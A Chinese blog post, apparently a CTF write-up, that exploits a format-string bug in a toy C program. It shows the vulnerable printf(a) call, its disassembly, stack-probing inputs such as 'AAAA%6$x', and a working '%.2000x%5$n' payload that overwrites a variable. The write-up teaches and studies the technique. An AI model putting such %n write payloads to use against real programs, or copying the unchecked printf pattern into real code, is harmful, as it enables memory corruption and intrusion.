格式化字符串漏洞近几年出现频率少了,但是一些 CTF 中还有涉及,就当玩玩好了。
首先看这一段代码,什么比赛的题我忘了:
#include <stdio.h>
int main(void)
{
int flag = 0;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good!!\n");
}
return 0;
}
目标是拿到 Flag。我们使用 GCC 编译之后用 ObjDump 反编译:
8048507: c7 45 88 00 00 00 00 movl $0x0,-0x78(%ebp) ;flag 804850e: 8d 45 88 lea -0x78(%ebp),%eax 8048511: 89 45 8c mov %eax,-0x74(%ebp) ;p 8048514: 83 ec 08 sub $0x8,%esp 8048517: 8d 45 90 lea -0x70(%ebp),%eax ;a 804851a: 50 push %eax 804851b: 68 f0 85 04 08 push $0x80485f0 8048520: e8 bb fe ff ff call 80483e0 <__isoc99_scanf@plt> 8048525: 83 c4 10 add $0x10,%esp
我们可以看到 p
在 flag
下面四个偏移,a
又在 p
下面四个偏移,用缓冲区溢出是不可能了。下面有个 printf
,也许可以利用字符串格式化漏洞。
继续往下看汇编:
8048528: 83 ec 0c sub $0xc,%esp 804852b: 8d 45 90 lea -0x70(%ebp),%eax 804852e: 50 push %eax 804852f: e8 5c fe ff ff call 8048390 <printf@plt> 8048534: 83 c4 10 add $0x10,%esp
我们可以看到 printf
总共接受了 4 个参数,实际上只有一个有效参数。
我们可以使用 AAAA%x
来寻找 a
的偏移:
wizard@ubuntu:~/Desktop$ ./t2 AAAA%x AAAAffee9b78wizard@ubuntu:~/Desktop$ ./t2 AAAA%2$x AAAAf767e329wizard@ubuntu:~/Desktop$ ./t2 AAAA%4$x AAAA0wizard@ubuntu:~/Desktop$ ./t2 AAAA%5$x AAAAfff44cd0wizard@ubuntu:~/Desktop$ AAAA%6$x AAAA41414141
我们看到了一个 0 ,又看到了一个很像地址的东西。然后就是我们输入的 AAAA
。我们于是可以断定,第四个 %x
是 flag
,第五个 %x
是 p
,第六个 %x
是 a
的起始位置。
再试一下,发现栈基址是变化的:
wizard@ubuntu:~/Desktop$ ./t2 AAAA%5$x AAAAffad7a70
也就是说,我们不能把 f
的地址写进 a
的前四个字节,但是我们可以利用 p
。构造字符串 "%.2000%x%5$n"
:
ffe43b880wizard@ubuntu:~/Desktop$ ./t2 %.2000x%5$n ... 0000000000000000000000000000000000000ffce9f98good!!
成功。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于